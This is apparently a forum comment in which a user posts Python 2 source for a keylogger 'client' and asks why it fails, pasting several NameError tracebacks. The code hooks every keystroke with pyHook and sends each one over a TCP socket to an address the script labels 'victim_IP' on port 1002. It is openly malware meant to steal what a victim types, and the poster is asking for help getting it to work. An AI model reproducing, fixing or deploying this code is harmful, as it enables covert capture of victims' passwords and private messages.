there seems to be a problem in your code dude i tried some variations but still the problem is in the client places are line 44,55, etc
I changed at some places. But still have bugs can you advice where I am making mistakes....
#Client
#######
import socket
import os
try:
import pythoncom, pyHook, sys, socket
except:
print 'import error, check to make sure pythoncom and pyHook are installed'
sys.exit()
victim_IP = raw_input ("please input an IP to connect to ")
host=victim_IP
addr = (victim_IP, 1002)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
#s.connect(('localhost',1002))
def OnKeyboardEvent(event):
print "Key: ", chr(event.Ascii)
s.send(chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
The errors are as under
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
Traceback (most recent call last):
File "klclient", line 8, in
sys.exit()
NameError: name 'sys' is not defined
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
Traceback (most recent call last):
File "klclient", line 8, in
sys.exit()
NameError: name 'sys' is not defined
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
Traceback (most recent call last):
File "klclient", line 8, in
sys.exit()
NameError: name 'sys' is not defined
acer@acer:~/Desktop/Python$ python klclient
import error, check to make sure pythoncom and pyHook are installed
please input an IP to connect to 127.0.0.1
Traceback (most recent call last):
File "klclient", line 12, in
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
NameError: name 'socket' is not defined
*********************************************************************** Can you through some light on the same please